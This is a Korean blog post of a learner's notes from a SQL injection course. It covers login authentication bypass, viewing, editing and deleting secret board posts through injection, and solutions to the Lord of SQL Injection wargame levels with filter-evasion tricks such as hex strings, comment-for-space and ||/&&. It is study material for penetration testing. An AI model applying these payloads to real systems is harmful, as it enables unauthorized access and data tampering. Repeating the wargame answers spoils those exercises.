본문 바로가기
정보보안/모의해킹

모의해킹 강의 5

by 뭔가해보겠습니다 2024. 10. 18.

모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1

강의주소 :  https://www.inflearn.com/course/sql-injection-secure-coding-1/dashboard

 

인증 우회 공격이란?
정상적인 아이디가 아닌 sql 구문 삽입을 통해 인증을 우회하는 것 (ex 로그인 기능 우회)

 

 

공격 전 확인
1. 에러확인, 싱글쿼터 ' 입력
=> Fatal error: Call to a member function fetch_assoc() on a non-object in C:\APM_Setup\htdocs\login\loginAction.php on line 22 에러 발생
( * 절대 경로 노출시 파일 업로드 취약점의 단서가 됨 )
2. 취약점 확인. adm'a'in, adm' 'in 공백 삽입 연결연산자
=> 전자는 구문에러, 후자는 인증이 맞지 않는다는 안내가 뜸. mysql 확인

1) admin' or '1'='1
2) admin' -- 
mysql의 주석 --는 앞뒤로 공백이 존재해야한다. #을 이용할 수도 있음
3) ' or 1=1 or '1'='1
4) ' or '1'='1' -- 

아이디를 모를 때 특정 id로 로그인 되는 이유
: 모든레코드 값을 가져오는데, 그 중 첫 번째 레코드 정보로 로그인하기 때문

 

 

인증우회로 비밀글 조회하기
1. 파라미터 변조시 접근 불가

* 파라미터 변조가 먹히지 않은 이유는 실습코드의 경우 비밀번호 미입력시 secret 플래그가 N이어서 비밀글 게시글이 아니라고 판단하기 때문
이를 파훼하려면 변조 후 -- 등 주석으로 처리해보는 등 시도할 수 있다

 

2. injection 이용
1) 먼저 싱글쿼터' 를 넣어서 에러가 나는지 보고 인젝션 가능여부를 확인
2) ' or '1'='1 넣어서 inline injection 시도 : 원하던 게시물이 아니라 첫번째 게시물이 조회됨
3) 하지만 조회가 됨으로써 별도의 플래그값 없이 조회가 가능하다는 정보를 얻었음
4) 두번째 시도 : %' and '1'='1 실패. like처럼 %를 넣으면 되지 않을까 했는데, 생각해보니까 LIKE 구문을 쓰려면 싱글쿼터로 감싸여있으면 안 됨
5) 강의를 듣고 시도한 정답

Inline 방식 : ' or idx=5 and '1'='1
Terminating 방식 : ' or idx='5' -- 

 

where idx=5 and password='' or idx='5'

=> idx=5와 password=''는 and로 묶여서 결국 거짓이 됨.

=> or 뒤의 idx='5'는 idx가 5인 게시글이 있으므로 참이 됨

=> or구문은 한쪽만 참이어도 참이되므로, 참인 idx='5'에 의해 조회됨

 

인증우회를 통한 게시글 수정, 삭제
1. 인증로직 추측
1) update 구문의 where절
=> ' or idx='6 사용하여 수정. 비밀글 조회와 같은 방식.
2) update 구문 실행 전 password 검증
password 검증하여 게시글이 1개 나오면 검증된것으로 판단하고 조회하는 방식일 경우,
' or 1=1 -- 이렇게 Terminating 방식 사용할 수 있다

*update, delete 구문은 조건을 잘못 맞추면 모든 레코드에 영향을 줄 수 있으므로 OR 연산자 사용에 주의할것

 

 

Load of SQL Injection

주소 : los.rubiya.kr

회원가입 후 이용가능

초반부 문제의

 gremlin
 cobolt
 goblin
 wolfman
 darkelf

인증 우회 관련 문제라고 함

 

 

1.  gremlin

어떻게 푸느냐? 주소창에 ?id= 이런식으로 파라미터를 넣는거였다

처음엔 아이디가 그 다음 문제인 cobolt인줄 알고 id를 셋팅해서 넣었는데 그게 아니더라...

정답은 query : select id from prob_gremlin where id='' or 1=1#' and pw='' 인데

중요한 점은 #을 그대로 입력하지 말고 퍼센트인코딩하여 %23 으로 입력해야 제대로 인식한다.

inline 방식 : query : select id from prob_gremlin where id='' or 1=1 or '1'='' and pw=''

 

2.  cobolt

query : select id from prob_cobolt where id='admin' #' and pw=md5('')

 

3.  goblin

if(preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~"); 

해당문제에서는 싱글쿼터' 를 입력할 수 없게 되어있다

 

싱글쿼터를 입력하지 않고 admin을 입력하는 방법
=> hexcode 이용

mysql에서 조회하면 간단히 얻을 수 있다

단 앞이 생략되었으므로 0x를 앞에 붙여준다

query : select id from prob_goblin where id='guest' and no=2 or id=0x61646D696E

no가 왜 1이 아니냐면 db상의 1번째 데이터가 guest인 모양이다. 그래서 참이 되어서 1외의 다른것을 아무거나 입력하면 된다

 

4. orc

?pw=' or '1'='1'%23
=> 로그인 인증 우회는 되지만, 실제 db의 pw값과 맞는지 검증할 때 통과하지 못함
?pw=(select pw from prob_orc where id='admin')
=> prob 키워드 입력 불가로 필터링된 상태. 0x70726F625F6F7263로 변경해도 먹통.

 

이 부분은 혼자 시도해보다가 안돼서 일단 중단함. 데이터조회 부분은 배우지 않았다... ㅠㅠ

 

5.  wolfman

공백을 필터링 하고 있어서 사용불가
?pw='or/**/id='admin
멀티라인주석문자로 공백을 대체할 수 있다.
개행문자도 된다고 함

 

6.  darkelf

or과 and를 필터링 하고 있어서 사용불가
mysql의 경우
or연산자 => ||
and연산자 => &&

 

oracle과 mssql은 딱히 방법이 없나보다

 

sql injection공격은 대외서비스 기준으로 대비가 잘 되어 있곤 하지만,
대내서비스의 경우 비교적 허술한 경우가 있다

인증우회공격은 가장 기본중의 기본이므로 다른 공격기법의 기초가 된다

'정보보안 > 모의해킹' 카테고리의 다른 글

모의해킹 강의 4  (0) 2024.10.16
모의해킹 강의 3  (0) 2024.10.15
모의해킹 강의 2  (0) 2024.10.14
모의해킹 강의 1  (0) 2024.10.10